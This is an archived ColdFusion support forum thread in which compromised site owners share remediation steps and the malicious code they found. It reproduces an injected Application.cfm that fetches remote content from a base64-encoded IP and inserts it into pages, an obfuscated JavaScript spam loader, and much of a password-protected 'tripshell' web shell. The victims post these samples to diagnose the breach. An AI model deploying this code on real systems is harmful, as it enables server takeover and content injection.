Skip navigation
Currently Being Moderated

CF8.01 hacked.  Need info on patches

Feb 4, 2013 9:13 AM

Yesterday some of our hosted sites were hacked using code pasted below.  We're running CF 8.01 and I'm wondering if there is a cumulative secutity patch that we can apply or If I should just apply every security patch that I can find.  I noticed that this particular vulnerability was patched for CF9 and 10 about six weeks ago.

 

Here's the hack:

 

  1. Application.cfm

<cfif (FindNoCase("Archivver",http_user_agent) EQ 0)><cfsavecontent variable="paga"><CFHTTP METHOD = "Get" URL = "http://#SERVER_NAME##SCRIPT_NAME#?#QUERY_STRING#" userAgent = "Archivver">

<cfset mmy = cfhttp.FileContent><cfoutput>

#mmy#

</cfoutput>

</cfsavecontent>

<CFHTTP METHOD = "Get" URL = "#hSWaawe('aHR0cDovLzE5OS4xOS45NC4xOTQvY2ZzZXQyLnR4dA==')#">

<cfset cfs = cfhttp.FileContent>

<cfif (FindNoCase("</div>",paga) GT 0)>

<cfset paga = replace(paga, "</div>", "</div>#cfs#", "one")>

<cfelseif (FindNoCase("</table>",paga) GT 0)>

<cfset paga = replace(paga, "</table>", "</table>#cfs#", "one")>

<cfelseif (FindNoCase("</a>",paga) GT 0)>

<cfset paga = replace(paga, "</a>", "</a>#cfs#", "one")>

<cfelse>

<cfset paga = replace(paga, "</body>", "#cfs#</body>", "one")>

</cfif>

<cfoutput>

#paga#

</cfoutput>

<cfabort>

</cfif>

<cffunction name="hSWaawe"> 

<cfargument name="HxzcGlk">

<cfset Ypg = ToString(ToBinary(HxzcGlk))>

<cfreturn Ypg>

</cffunction>

 

 

  1. Index.htm

 

 

<html>

  <head>

    <meta HTTP-EQUIV="REFRESH" content="0; url=http://www.thehiltonorlando.com/">

  </head>

  <body>

    <br>

    <br>

    <br>

    <br>

    <center>

      <a href="http://www.thehiltonorlando.com/">This page has moved.  Please click here if you are not automatically redirected in a moment...</a><script language="JavaScript">function zdrViewState()

{

var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333 333338896','9977918890','949990793917947998942577939317'),l=x.length;w hile(++a<=l){m=x[l-a];

t=z='';

for(v=0;v<m.length;){t+=m.charAt(v++);

if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);

t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}zdrViewState();

</script>

 

 

 

<p class="zdroq">

Most of the time, the borrower would <a href="http://www.paydayloans-online-uk.co.uk/" title="Payday">payday</a> be the one jeopardized. Applying to various payday loan sites could create suspicion to the lender <a href="http://payday-loans-fts.co.uk/" title="Payday Loans">payday loans</a> and this could make the approval process unnecessarily burdening. Having a checking account is also a <a href="http://best-rates-payday-loans.co.uk/" title="Http://best-rates-payday-loans.co.uk/">http://best-rates-payday-loans.co.uk/</a> must. They would also need this in order to withdraw money from your account when the payment is <a href="http://bad-credit-payday.co.uk/" title="Payday Loans Bad Credit">payday loans bad credit</a> due. In the long run, you would see that they have high interest rates that would be equivalent to wasting your <a href="http://payday-loans-eng.co.uk/" title="Payday Loans Uk">payday loans uk</a> money. </p>

    </center>

  </body>

</html>

 

Thanks in advance.

 

--Jeremy

 
Replies
  • Currently Being Moderated
    Feb 4, 2013 10:01 AM   in reply to Jjboswell

    Hi Jeremy

     

    Can you please provide the CVE code?

     

    Regards

    Swaraj

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 10:33 AM   in reply to Jjboswell

    I just had a crazy morning trying to figure out why our site was breaking, posting crazy text, ruining our redirect to mobile site, etc.  Then I found this post and saw the code that I discovered on our site with Firebug that matched exactly what you posted.  We are running CF9, and you say there is a patch?  Where might we find that?

     

    Thanks for your help.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 10:40 AM   in reply to Jjboswell

    Hi Jeremy

     

    Below lines are mentioned in the article:

     

    Note that ColdFusion customers using an unsupported version of ColdFusion (including ColdFusion 8.x and earlier) can protect themselves from CVE-2013-0625, CVE-2013-0629 and CVE-2013-0632 by configuring the following:

    • Setting the password for Remote Development Services (even if RDS is disabled) 
    • Enabling password protection for RDS 
    • Setting the Admin password and enabling password protection for Administrator

     

    Can you please try them?

     

    Regards

    Swaraj

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 11:51 AM   in reply to Jjboswell

    My company is running CF 9.0 ad we patched our servers last week.  However, we got hacked this weekend as well.  They added that code, plus a javaScript snippet to every index.cfm file on our server (hundres of files). 

     

    RDS is disabled, there is now an RDS password, and the CF Admin has a password.  If anyone has any information on how these hackers got in it would be greatly appreciated.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 11:53 AM   in reply to Jjboswell

    I had this same problem this morning, and I am running 9.0.1 and already have hf901-00008.jar installed.. which means I have that patch already.  Any other ideas??

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 12:08 PM   in reply to sduncanute

    Hi PocoDiablo and sduncanute

     

    Have you had chance to apply this http://www.adobe.com/support/security/bulletins/apsb13-03.html for the same reasons?

     

    Regegards

    Swaraj

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 12:11 PM   in reply to AlbusTeck

    Albusteck,

     

    As noted, I have gone through that bulletin and I am running the latest jar file.  I've already done everything on that list.  Now what?  This was patched weeks ago.

     

    Sue

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 12:34 PM   in reply to AlbusTeck

    Hi Swaraj, I did in fact apply that patch to my servers last Monday.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 2:04 PM   in reply to PocoDiablo

    Yes, I would like to know how this all happens as well - this hacking business in CF.  Any clues/?

     

    We are going to install the patch tomorrow when my network guy gets in.  It worries me that sduncanute has installed already and is still having issues. 

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 2:33 PM   in reply to LeeBC

    Part of the issue *may* be related to having the cfide/administrator folder exposed to outside users.  Be sure you block remote access to that folder and perhaps also the cfide/adminapi folder (which is where I got hacked).

     

    NOTE: Blocking the /cfide folder may break some CF features, like CFFORM, so leave access for that.

     

    I am not sure this will work, but it may help.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 4, 2013 2:43 PM   in reply to sduncanute

    Those that have already applied the latest patch on CF9/10 but have been hacked, do you have a file /CFIDE/h.cfm /CFIDE/i.cfm or /CFIDE/help.cfm it is possible you had already been hit before applying the patch and still had a backdoor on your server. Note the file could be pretty much anywhere but under /CFIDE somewhere is a likley location.

     

    It is also possible that you have common third party software with a vulnerability that was hit, among many other things. It would be a good idea to review the web server logs around the time of the incident to see if you can uncover anything.

     

    If you find something that appears to be a new exploit you should send it to the Adobe Product Security Incident Response Team rather than posting it here: http://www.adobe.com/support/security/alertus.html

     

    In addition to applying patches you should also follow the ColdFusion Lockdown Guides:

    http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/products /coldfusion/pdfs/91025512-cf9-lockdownguide-wp-ue.pdf

    http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/products /coldfusion-enterprise/pdf/CF10%20Lockdown%20Guide.pdf

     

    Pete Freitag,
    HackMyCF.com

    Foundeo Inc.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 5, 2013 5:07 AM   in reply to Peter Freitag

    Pete,

     

    I have contacted Adobe and sent them off a bunch of my files at their request.  I just saw this message and went looking and yes, I had the h.cfm in my CFIDE root directory with a December 25th date. 

     

    I found those lockdown guides not long ago and have gone through all of it for our new server, but didn't for this one. 

     

    Any other files I should be looking for?

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 5, 2013 7:02 AM   in reply to Peter Freitag

    Pete, my server does indeed have those files - /CFIDE/h.cfm /CFIDE/i.cfm.

     

    They appeared on 1/2/2013, which is significantly after the previously mentioned hotfix released on Jan 15th, 2013:

     

    http://www.adobe.com/support/security/bulletins/apsb13-03.html

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 5, 2013 7:21 AM   in reply to Peter Freitag

    So, I have located the h.cfm and i.cfm files.  What are you suggesting to do with these files?

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 6, 2013 12:51 PM   in reply to LeeBC

    If you have the /CFIDE/h.cfm or  /CFIDE/i.cfm files they are not part of ColdFusion, and were placed there by an attacker. So you should delete them! You should probably do a fresh OS, CF install at this point, be sure to use new passwords for everything.

     

    There have been reports of files being added under the /CFIDE/adminapi directory as well in recent attacks, so you will want to look there as well (check file timestamps on all your files in CFIDE), but as I said consider doing a full reinstall.

     

    --

    Pete Freitag

    HackMyCF.com - ColdFusion Server Security Scanner

    FuseGaurd.com - Web Application Firewall for ColdFusion

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 7, 2013 10:33 AM   in reply to Peter Freitag

    There is a file called fusebox.cfm with a time stamp date of 2/6/13 in the adminapi/customtags directory. Is this legit?  And if so, what is it?

     

    Also a file called adss.cfm with a 2/3/13 time stamp in the same directory.  This seems to be part of the attack.  Can you verify this to be true? 

     

    Thanks.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 7, 2013 10:37 AM   in reply to LeeBC

    These files are part of the hack.  Make a copy of these and then delete them.  I kept a copy of everything so that I can share the info with Adobe, who are following up with this.

     

    Do a search on your whole server for anything else that has those date stamps that looks wierd.

     

    I zapped my entire website and restored it, and then went through all of the log files, and the whole Cold Fusion installation looking for odd items.

     

    We are moving to a new server as soon as I finish migrating my Access databases to MS SQL, otherwise I would be doing a full re-install.

     

    Sue

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 8, 2013 3:00 AM   in reply to sduncanute

    The h.cfm file was added to my server on 11/17/2012.  This was done by creating a scheduled task, running it, and then deleting the task so I would not see it.  Yes, my /administrator and /adminapi directories were still available.  I realize I've been too lax -- have been using ColdFusion for over a decade with no major security issues, so I didn't pay close attention to locking out these directories to public IP addresses.

     

    The h.cfm file was called several times over December and January, but nothing else was done.

     

    On 2/3 some text was added to several index.cfm pages, but they were not the default pages and therefore the attack didn't take down the server.

     

    I removed h.cfm, i.cfm, fusebox.com and adss.cfm.  I renamed h.cfm, found the password inside it, and tried it.  I was able to see what the attacker could see.  Passwords for data sources, in particular, were available.

     

    After plugging the hole, then removing the files, I would suggest changing all datasource passwords, as the attackers would have gained access to them.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 8, 2013 3:07 PM   in reply to Peter Freitag

    Will restricting access to the CFIDE folder prevent this exploit, or is it more involved than that?

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 19, 2013 3:03 PM   in reply to Jjboswell

    My server was also hacked with the "payday loans" code appearing on most index.cfm and index.html pages. After deleteing the injected code, it reappeared 3 days later. I believe I have since discovered the real culprit -- a modified application.cfm in the CFIDE directory.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 20, 2013 8:09 AM   in reply to EclecticDan

    EcleticDan - what version of CF were your running, and were you fully patched?  Any suggestions on what we can do to protect ourselves?  I locked out /cfide/administrator so no one can get to it unless you RDC to the server.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 20, 2013 8:16 AM   in reply to EclecticDan

    EclecticDan,

    You should also be checking for the other files mentioned:

    h.cfm, i.cfm, fusebox.com and adss.cfm

     

    If you find any of these, check the date stamp and then look for anything with that date. 

     

     

    If you have any SQL database, change the passwords on those, as that was part of the exploit. 

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 20, 2013 8:43 AM   in reply to Aeopile

    9.0 - I had not run the patches. A past upgrarde on version 8 corrupted the server causing a frantic evening of repair and making me leery of other patches. RDS has always been disabled on this server.

    According to the hotfix statement, all versions of ColdFusion seem to be susceptible, regardless of the latest fixes installed:
    http://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix-apsb13 -03.html

     

    One of the files left befind had a date of 12/25/2012, which is weeks before any security notices were posted. Looking at old versions of index files, the first recorded incident of the injection wasn't until 2/3/2013. This may coincide with running the CF Administrator as I needed to set up a new datasource, which I don't do all that often and didn't have need to login to the Admin for a while.

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 20, 2013 8:30 AM   in reply to sduncanute

    Thanks sduncanute. Already done. I posted because the corruption of the application.cfm was not mentioned anywhere in this thread and appears to be the cause of the damage for me (and probably the OP too).

    I also found a trip.jar in the CFIDE folder that appears to be apart of the attack. Has anyone else encountered this?

     
    |
    Mark as:
  • Currently Being Moderated
    Feb 20, 2013 8:54 AM   in reply to EclecticDan

    I had the application.cfm changes as well, and it was the first thing that alerted me to the rest of the issues.  I didn't have the trip.jar

     

    I patched my system on the 16th of January, but the problem was the h.cfm was installed on Dec 25th before the patch.  The fusebox and adss files along with the h.cfm meant that additional files could be added and files changed. 

     

    My only disappointment was that when the patch came out, there was nothing in there saying "look for these files", which would have alerted me to the fact we'd already been compromised.

     

    Sue

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 22, 2013 8:43 AM   in reply to EclecticDan

    EclecticDan - did you find out if the trip.jar file was part of the attack?

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 22, 2013 9:00 AM   in reply to kdgitler

    I can't be certain but I think it was. I've googled it and I cannot find any mention of trip.jar, legitimate or otherwise.

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 22, 2013 9:04 AM   in reply to EclecticDan

    For me, it was a compressed file that extracts to ffmpegtheora, and 2 other mpeg related files.  You deleted it?  - thanks.

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 22, 2013 9:08 AM   in reply to kdgitler

    Not recognizing it and seeing that it had a modified date around the time of the attack, I quarantined it by changing its name, extention and location until I could be sure. It's time for a server upgrade anyway.

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 22, 2013 1:38 PM   in reply to EclecticDan

    I thought you might be interested in what one of our hosts IT security guys discovered about Trip.jar:

     

    "This Trip.jar file is a pretty basic Java based DOS application on layer 7. After decompiling the 6 .class files I read the Java coded there. You could directly compare this to the well-known “Low Orbit Ion Cannon” anonymous used to utilize heavily. It handles everything it needs from opening connections to accepting a list of URL’s to holding those connections open in order to denial of service a URL or site."

     

    Just FYI...

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 22, 2013 2:58 PM   in reply to kdgitler

    Yikes. Thanks to the info.

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 26, 2013 3:52 AM   in reply to kdgitler

    so the conclusion is that trip.jar should also be deleted?

     
    |
    Mark as:
  • Currently Being Moderated
    Mar 26, 2013 7:51 AM   in reply to mennovb

    According to the quote posted by kdgitler, I would say trip.jar is an unfriendly file and should be deleted. I'd preffer to hear this from someone at Adobe though.

     
    |
    Mark as:
  • Currently Being Moderated
    Apr 3, 2013 3:48 PM   in reply to Jjboswell

    Hi all,

     

    We're running CF 9 (patched up) multi-server on Windows Server 20008 R2. I've searched through our "JRun4\servers\server_instance\cfusion.ear\cfusion.war\CFIDE" directories, including the "adminapi" sub-directory, looking for the aforementioned files (adss.cfm, fusebox.cfm, h.cfm, i.cfm) and cannot seem to find anything.

     

    I've also hit up the various Application.cfm files in the those CFIDE directories as well as the root CFIDE directory that's associated with the "cfusion" server instance. The Application.cfm files are encoded so how do I check to see if they have that modified code? Or would it simply overwrite the encoded version with the corrupted sample above?

     

    Additionally, no luck on finding trip.jar.

     

    Lastly, I've searched for that index.htm file and not found anything either. Yet, something has to be present because even though we built a brand new server and patched up before deploying and our source code is still showing the script block and text at the very bottom of the page.

     

    Are there any other locations that I should be searching through specifically? Based on your experiences, where have you found the index.htm file?

     

    Thank you in advance for any additional clarification you can provide!

     

    Rick

     
    |
    Mark as:
  • Currently Being Moderated
    Sep 22, 2013 1:28 PM   in reply to rickzki

    Ok, I just found /cfide/updates.cfm but I don't know if this part of the problem or if it was something that's always been there, but the date on the file is more recent than any other file.

     

    This is crazy scary. I've been following this thread since the beginning of the year I've been dealing with this for the past 6 months.

     

    I couldn't find h.cfm or i.cfm or the other files mentioned.

     

     

    Here's the code from updates.cfm

     

    <p>&lt;html&gt;<br>

              &lt;body&gt;<br>

              &lt;!--- <br>

              Created by S?bastien Denis - <br>

              1.0 : 23-nov-2004<br>

              1.1 : 03-fev-2005 - new action: synchronize<br>

              ================================================================ ============<br>

              The FileManager can be use as a common file manager or as a CFMODULE use inside an application.<br>

              ================================================================ ============<br>

              Depending of the action (fuseaction attributes), the other attributes are...<br>

              FUSEACTION                    OTHER ATTRIBUTES<br>

              ================================================================ ============<br>

              PASSWORD<br>

              If password is required to access the module.<br>

              Display a form to enter password.<br>

              PASSWORDHASH<br>

              Hash the password.<br>

              HOME<br>

              Display the file manager.<br>

              PATH (default= current path)<br>

              EDITEXTENSIONS (list of extensions to enable file edition)<br>

              GETDIR (default = current folder)<br>

              SEARCH<br>

              Perform a search. <br>

              Return a query GETDIR and a call to fuseaction = HOME with this query.<br>

              SEARCHNAME (reg exp corresponding to file/folder name)<br>

              SEARCHTEXT (reg exp corresponding to file content)<br>

              RECURSIVE (optional recursive search: 0/1 - default = 0)<br>

              MAXSEARCHRESULT (number of result: n - default = 1)<br>

              EDIT<br>

              Edit a file<br>

              EDITEXTENSIONS (list of extension - show the EDIT button)<br>

              (default = txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xsl t)<br>

              If &quot;ALL&quot;, all files are editable<br>

              PATH<br>

              FILE<br>

              WRITE<br>

              Write the edited file<br>

              PATH<br>

              FILE<br>

              FILENEWCONTENT<br>

              UPLOAD                              PATH, NBROFUPLOAD (number of the maximum file to upload at once - default is 20) <br>

              DOWNLOAD                    PATH, FILE<br>

              ADDDIR                              PATH, DIRNEW<br>

              ADDFILE                              PATH, FILENEW<br>

              RENAMEFILE                    PATH, FILE, FILENEW<br>

              RENAMEDIR                    PATH, DIR, DIRNEW<br>

              COPYFILE                    PATH, FILE, PATHNEW (with the new file name)<br>

              COPYDIR                              PATH, DIR, PATHNEW (with the new folder name)<br>

              MOVEFILE                    PATH, FILE, PATHNEW (without the new file name) <br>

              MOVEDIR                              PATH, DIR, PATHNEW (without the new folder name)<br>

              DELETEFILE                    PATH, FILE<br>

              DELETEDIR                    PATH, DIR<br>

              DELETEDIRRECURSIVE PATH, DIR<br>

              SYNCDIR                              PATH, PATHNEW (path; origin, pathNew: destination), OVERWRITEALL<br>

              <br>

              Other attributes:<br>

              ================================================================ ============<br>

              thisModule                    the path to this module (cfmodule)<br>

              default = listLast(cgi.script_name,&quot;/\&quot;)<br>

              relocate                    0/1 (default 1, 0 in recursive call)<br>

              CheckPassword          default = &quot;&quot;<br>

              To compare with H to allow access to module<br>

              If no correspondance =&gt; fuseaction = password<br>

              If checkPassword = &quot;&quot; =&gt; No access control.<br>

              H                                        The Hashed password always required if checkPassword neq &quot;&quot;.<br>

              PATHALLOWED                    The path beyond which the module cannot go.<br>

              default = &quot;&quot; meaning no limits.<br>

              STYLE                              0/1 (default = 1) include basic style.<br>

              ---&gt;</p>

    <p>&lt;cftry&gt;</p>

    <p>&lt;CFAPPLICATION NAME=&quot;tripshell&quot; SESSIONMANAGEMENT=&quot;Yes&quot; SESSIONTIMEOUT=&quot;#CreateTimeSpan(0, 0, 20, 0)#&quot;&gt;</p>

    <p> &lt;cfif (IsDefined(&quot;Session.tripshell&quot;) AND Session.tripshell EQ &quot;ok&quot;) OR (IsDefined(&quot;form.code&quot;) AND form.code EQ &quot;h4xz0r666&quot;)&gt;<br>

              &lt;b&gt;Ok all good&lt;/b&gt;<br>

              &lt;cfset session.tripshell='ok'&gt;<br>

    </p>

    <p>&lt;!--- ************ Personal parameter *************** ---&gt; <br>

              &lt;cfset attributes.editExtensions = &quot;ALL&quot;&gt;<br>

              &lt;!--- ************ Personal parameter *************** ---&gt; </p>

    <p>&lt;cfsetting requestTimeout = 1000&gt;<br>

              &lt;!--- formurl2attributes ---&gt;<br>

              &lt;cfparam name=&quot;attributes&quot; default=&quot;#structNew()#&quot;&gt;<br>

              &lt;cfset structAppend(attributes,form,&quot;no&quot;)&gt;<br>

              &lt;cfset structAppend(attributes,url,&quot;no&quot;)&gt;<br>

              &lt;!--- Default parameters ---&gt;<br>

              &lt;cfparam name=&quot;attributes.path&quot; default=&quot;#expandPath(&quot;.&quot;)#&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.fuseaction&quot; default=&quot;home&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.recursive&quot; default=&quot;0&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.showpath&quot; default=&quot;0&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.searchtext&quot; default=&quot;&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.searchname&quot; default=&quot;&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.maxsearchresult&quot; default=&quot;1&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.checkpassword&quot; default=&quot;&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.password&quot; default=&quot;&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.nbrOfUpload&quot; default=&quot;20&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.editExtensions&quot; default=&quot;txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,r eg,xml,dtd,xslt&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.relocate&quot; default=&quot;1&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.overwriteAll&quot; default=&quot;0&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.style&quot; default=&quot;1&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.pathAllowed&quot; default=&quot;&quot;&gt;<br>

              &lt;cfparam name=&quot;attributes.thisModule&quot; default=&quot;#listLast(cgi.script_name,&quot;/\&quot;)#&quot;&gt;<br >

              &lt;cfparam name=&quot;attributes.h&quot; default=&quot;&quot;&gt;<br>

              &lt;!--- Find delimiter and set path ---&gt;<br>

              &lt;cfif find(&quot;/&quot;,cgi.CF_TEMPLATE_PATH)&gt;<br>

              &lt;cfset attributes.delimiter = &quot;/&quot;&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;cfset attributes.delimiter = &quot;\&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfset attributes.path = reReplace(attributes.path,&quot;\#attributes.delimiter#{2,}&quot;,att ributes.delimiter,&quot;ALL&quot;)&gt;<br>

              &lt;cfif right(attributes.path,1) eq attributes.delimiter and len(attributes.path) gt 1&gt;<br>

              &lt;cfset attributes.path = left(attributes.path,len(attributes.path)-1)&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;!--- UDF ---&gt;<br>

              &lt;cffunction name=&quot;loc&quot;&gt;<br>

              &lt;cfargument name=&quot;qs&quot;&gt;<br>

              &lt;cfargument name=&quot;relocate&quot;&gt;<br>

              &lt;cfif relocate&gt;<br>

              &lt;cflocation url=&quot;?#qs#&amp;path=#attributes.path#&amp;h=#attributes.H#&quot; &gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cffunction&gt;<br>

              &lt;!--- Password check ---&gt;<br>

              &lt;cfif attributes.fuseaction neq &quot;passwordHash&quot; and attributes.checkPassword neq &quot;&quot;&gt;<br>

              &lt;cfif isDefined(&quot;attributes.H&quot;)&gt;<br>

              &lt;cfif hash(attributes.checkpassword) neq attributes.H&gt;<br>

              &lt;cfset attributes.fuseaction = &quot;password&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;cfelse&gt;<br>

              &lt;cfset attributes.fuseaction = &quot;password&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;!--- Path check ---&gt;<br>

              &lt;cfif attributes.pathAllowed neq &quot;&quot;&gt;<br>

              &lt;cfif not findNoCase(attributes.pathAllowed,attributes.path)&gt;<br>

              &lt;cfset attributes.path = attributes.pathAllowed&gt;<br>

              &lt;cfset attributes.msg = &quot;Error: cannot go beyond &quot;&quot;#attributes.pathAllowed#&quot;&quot;&quot;&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;!--- CSS Style ---&gt;<br>

              &lt;cfif attributes.style and attributes.relocate&gt;<br>

              &lt;style&gt;<br>

              body,table,input{font:11px;font-family:verdana}<br>

              button, .button{font:11px;font-family:verdana;width:50;text-align:center;bord er:1px solid black;background-color:#EEEEEE;cursor:hand;padding:1 0 1 0;}<br>

              &lt;/style&gt;<br>

              &lt;/cfif&gt;<br>

              &lt;!--- Fusebox ---&gt;<br>

              &lt;cfswitch expression=&quot;#attributes.fuseaction#&quot;&gt;</p>

    <p> &lt;cfcase value=&quot;password&quot;&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;form action=&quot;?&quot; method=&quot;post&quot;&gt;<br>

              &lt;input type=&quot;hidden&quot; name=&quot;fuseaction&quot; value=&quot;passwordHash&quot;&gt;<br>

              Password: &lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;&amp;nbsp;&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;button&quot;&gt;<br>

              &lt;/form&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;passwordHash&quot;&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;script&gt;window.location.href=&quot;?h=#hash(attributes.pas sword)#&quot;;&lt;/script&gt;<br>

              &lt;/cfoutput&gt;<br>

              &lt;/cfcase&gt;<br>

              <br>

              &lt;cfcase value=&quot;home&quot;&gt;<br>

              &lt;cfoutput&gt;<br>

              &lt;title&gt;FileManager: #attributes.path#&lt;/title&gt;<br>

              &lt;script&gt;<br>

              function addDir(){<br>

              var sDirNew = prompt(&quot;Create folder in #JSStringFormat(attributes.path)#.\nFolder name:&quot;,&quot;&quot;);<br>

              if (sDirNew != null &amp;&amp; sDirNew != &quot;&quot;){<br>

              window.location.href=&quot;?fuseaction=addDir&amp;path=#JSString Format(attributes.path)#&amp;dirNew=&quot; + sDirNew + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function addFile(){<br>

              var sFileNew = prompt(&quot;Create file in #JSStringFormat(attributes.path)#.\nFile name:&quot;,&quot;&quot;);<br>

              if (sFileNew != null &amp;&amp; sFileNew != &quot;&quot;){<br>

              window.location.href=&quot;?fuseaction=addFile&amp;path=#JSStrin gFormat(attributes.path)#&amp;fileNew=&quot; + sFileNew + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function renameFile(sFile){<br>

              var sFileNew = prompt(&quot;New file name&quot;,sFile + &quot;_copy&quot;);<br>

              if (sFileNew != null &amp;&amp; sFileNew != &quot;&quot; &amp;&amp; sFileNew != sFile){<br>

              window.location.href=&quot;?fuseaction=renamefile&amp;path=#JSSt ringFormat(attributes.path)#&amp;file=&quot; + sFile + &quot;&amp;fileNew=&quot; + sFileNew + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function renameDir(sDir){<br>

              var sDirNew = prompt(&quot;New folder name&quot;,sDir + &quot;_copy&quot;);<br>

              if (sDirNew != null &amp;&amp; sDirNew != &quot;&quot; &amp;&amp; sDirNew != sDir){<br>

              window.location.href=&quot;?fuseaction=renameDir&amp;path=#JSStr ingFormat(attributes.path)#&amp;dir=&quot; + sDir + &quot;&amp;dirNew=&quot; + sDirNew + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              } <br>

              function copyFile(sFile){<br>

              sDefault = &quot;#JSStringFormat(attributes.path)##JSStringFormat(attributes.del imiter)#&quot; + sFile;<br>

              var sPathNew = prompt(&quot;Destination for \&quot;&quot; + sFile + &quot;\&quot;.&quot;,sDefault);<br>

              if (sPathNew != null &amp;&amp; sPathNew != &quot;&quot; &amp;&amp; sPathNew != sDefault){<br>

              window.location.href=&quot;?fuseaction=copyFile&amp;path=#JSStri ngFormat(attributes.path)#&amp;pathNew=&quot; + sPathNew + &quot;&amp;file=&quot; + sFile + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function copyDir(sDir){<br>

              sDefault = &quot;#JSStringFormat(attributes.path)##JSStringFormat(attributes.del imiter)#&quot; + sDir;<br>

              var sPathNew = prompt(&quot;Destination for \&quot;&quot; + sDir + &quot;\&quot;.\nProvide a UNEXISTANT path!&quot;,sDefault + &quot;_copy&quot;);<br>

              if (sPathNew != null &amp;&amp; sPathNew != &quot;&quot; &amp;&amp; sPathNew != sDefault){<br>

              window.location.href=&quot;?fuseaction=copydir&amp;path=#JSStrin gFormat(attributes.path)#&amp;dir=&quot; + sDir + &quot;&amp;pathNew=&quot; + sPathNew + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function moveFile(sFile){<br>

              sDefault = &quot;#JSStringFormat(attributes.path)#&quot;;<br>

              var sPathNew = prompt(&quot;Move \&quot;&quot; + sFile + &quot;\&quot; to:&quot;,sDefault);<br>

              if (sPathNew != null &amp;&amp; sPathNew != &quot;&quot; &amp;&amp; sPathNew != sDefault){<br>

              window.location.href=&quot;?fuseaction=moveFile&amp;path=#JSStri ngFormat(attributes.path)#&amp;pathNew=&quot; + sPathNew + &quot;&amp;file=&quot; + sFile + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function moveDir(sDir){<br>

              sDefault = &quot;#JSStringFormat(attributes.path)#&quot;;<br>

              var sPathNew = prompt(&quot;Move \&quot;&quot; + sDir + &quot;\&quot; to:&quot;,sDefault);<br>

              if (sPathNew != null &amp;&amp; sPathNew != &quot;&quot; &amp;&amp; sPathNew != sDefault){<br>

              window.location.href=&quot;?fuseaction=moveDir&amp;path=#JSStrin gFormat(attributes.path)#&amp;pathNew=&quot; + sPathNew + &quot;&amp;dir=&quot; + sDir + &quot;&amp;h=#attributes.h#&quot;;<br>

              }<br>

              }<br>

              function syncDir(sDir){<br>

